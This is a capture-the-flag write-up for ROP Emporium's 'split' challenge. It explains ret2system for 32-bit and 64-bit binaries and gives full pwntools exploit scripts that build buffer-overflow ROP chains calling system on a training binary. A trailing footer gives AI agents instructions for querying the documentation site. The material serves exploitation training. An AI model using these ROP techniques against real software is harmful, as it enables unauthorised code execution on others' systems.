# split

## split 32bit

### Solution

Examine the strings contained in the binary:

The idea is using ret2system to call `system("/bin/cat flag.txt")`. For 32-bit binaries, **the arguments for a function call is stored on the stack**. Pictorially, the stack frame looks like the following:

```
buffer
function => EIP
return_address
arg1
arg2
arg3
...
```

In our case, we should set up the stack into the following state:

```
b"A" * offset => junk
system => Overwrite EIP with the address of system()
exit => This is called when system() returns (return address)
/bin/cat flag.txt => This is the argument for system()
```

Note that we don't really know the address of `exit()`. It is okay to use `b"B" * 4` to replace `exit()` for this challenge. **However, this dummy padding would destory a process in real-world scenarios**, so make sure you always use `exit()` as the return address for `system()`.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="i386", os="linux")
elf = ELF("split32", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.eip)

log.info(f"offset: {offset}")

#--------ret2system--------#

system = elf.plt["system"]
usefulString = 0x0804a030

payload = flat(
    b"A" * offset,
    system, # call system("/bin/cat flag.txt")
    b"B" * 4, # return address for system
    usefulString, # arg for system
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```

## split 64bit

### Solution

For 64-bit binaries, the calling convention is completely different. Instead of storing arguments on the stack, **64-bit binaries store the first 6 arguments in registers**, in the following order:

1. arg1 => RDI
2. arg2 => RSI
3. arg3 => RDX
4. arg4 => RCX (user space) or R10 (kernel space)
5. arg5 => R8
6. arg6 => R9

If there are more arguments, those extra arguments will be stored on the stack. However, it is rare to see function calls with more than 6 arguments.

As a result, now we need to store the address of `"/bin/cat flag.txt"` in RDI before calling `system()`. The trick is to use a `pop rdi ; ret` gadget. This gadget can be easily found with ROPgadget if it exists in the binary.

Another tricky thing is **stack alignment**. Starting from Ubuntu 18.04 and onward, the stack is aligned in **16-byte boundaries**. Without this alignment, we would call:

```
pop_rdi, arg,
system
```

With this alignment, we should call:

```
pop_rdi, arg,
ret, system
```

The `ret` gadget here is a padding that makes sure the stack is properly aligned. Keep this in mind, it will save you a lot of time from debugging.

### Exploit

```python
#!/usr/bin/env python3
from pwn import *

#--------Setup--------#

context(arch="amd64", os="linux")
elf = ELF("split", checksec=False)

#--------Offset--------#

p = elf.process()
pattern = cyclic(1024)
p.sendlineafter("> ", pattern)
p.wait()
core = p.corefile
p.close()
os.remove(core.file.name)
offset = cyclic_find(core.read(core.rsp, 4))

log.info(f"offset: {offset}")

#--------ret2system--------#

# ROPgadget --binary split --only "pop|ret" | grep rdi
pop_rdi = 0x4007c3
usefulString = 0x601060
# ROPgadget --binary split --only "ret"
ret = 0x40053e
system = elf.plt["system"]

payload = flat(
    b"A" * offset,
    pop_rdi, usefulString,
    ret, system,
)

p = elf.process()

p.sendlineafter("> ", payload)

p.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web2-ctf/rop-emporium/split.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
